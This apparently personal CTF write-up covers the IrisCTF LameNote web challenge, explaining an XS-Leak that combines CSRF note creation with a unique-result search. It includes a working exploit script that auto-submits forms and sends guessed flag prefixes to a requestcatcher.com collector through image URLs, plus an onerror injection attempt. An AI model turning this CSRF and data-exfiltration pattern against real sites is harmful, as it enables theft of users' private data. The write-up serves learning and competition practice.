This was one of the challenge from IRISCTF which I wasn't able to solve it during the CTF.
First let me walk you through the challenge and later we'll discuss where I got stuck.
Application had some common functionalities like create note and search note additionally you can send a URL to admin.

I got the gist it's going to be a XS-Leak challenge and knew the path on how to solve it -> HTML Injection > Exfilterate Data > Win the challenge. While analyzing the code it was clear that the application had protection.
@app.route("/create", methods=["POST"])
@check_request
def create():
if "<" in request.form.get("text", "(empty)") or \
"<" in request.form.get("title", "(empty)") or \
"<" in request.form.get("image", ""):
return "Really?"
I was stuck there and though on injecting attribute to the image tag for example
https://example.com/logo.png ' onerror=alert(1)

Now if we look at the CSP header it's very strict except for the
img-src
directive which is allowing to embed our image URL.
I was stuck here till the end trying to figure out how we can use img attribute to exfilterate the flag and finally gave up.
Once the CTF was over I was going through one of the writeup [https://blog.hamayanhamayan.com/entry/2024/01/08/132233#Web-Exploitation-LameNote] and realised where I was wrong.
I missed one of the important code and just scrolled over it which was key to solving the challenge.
if len(results) == 1:
return render_note(results[0])
return "" + "".join("" + note["title"] + " " for note in results) + ""
So to understand the solution we need one more bit of information i.e. the admin bot creates a note with the flag in the text. Now back to our little snippet, the code basically renders the note if the length of the search result is 1 else it will NOT render the list of notes meaning that if the note is unique it will render the image and if the result is not unique it would not render the image.
One more thing to note here is that there is no CSRF protection while creating notes so we can send a URL to admin bot which will create notes for flag combinations and we can search for the flag.
I copied and beautified the script from the author and ran it on my local machine and it worked like a charm.
const sleep = ms => new Promise(r => setTimeout(r, ms));
const prefix = "irisctf{please_";
const chars = "abcdefghijklmnopqrstuvwxyz_";
setTimeout(async () => {
for (var i in chars) {
form.title.value = prefix + chars[i];
form.text.value = prefix + chars[i];
form.image.value = "https://[yours].requestcatcher.com/" + prefix + chars[i];
form.submit();
await sleep(500);
}
for (var i in chars) {
form2.query.value = prefix + chars[i];
form2.submit();
await sleep(500);
}
}, 0);
<iframe name="dummyFrame" id="dummyFrame"></iframe>
<form method="POST" target="dummyFrame" id="form" action="https://lamenote-web.chal.irisc.tf/create">
<input name="title">
<input name="text">
<input name="image">
</form>
<form method="GET" target="dummyFrame" id="form2" action="https://lamenote-web.chal.irisc.tf/search">
<input name="query">
</form>
So that's it for this writeup. Hope you enjoyed it.
Additional Reading:
I also discovered one more writeup for this challenge which was a very well written explaination to intended solution of exploiting `contentWindow.history.length` when one of the child frame has strict CSP then parent. In such cases the parent frame will throw error and we utilize `contentWindow.history.length` to exfilterate the flag.
Read more about it : Sera Writeup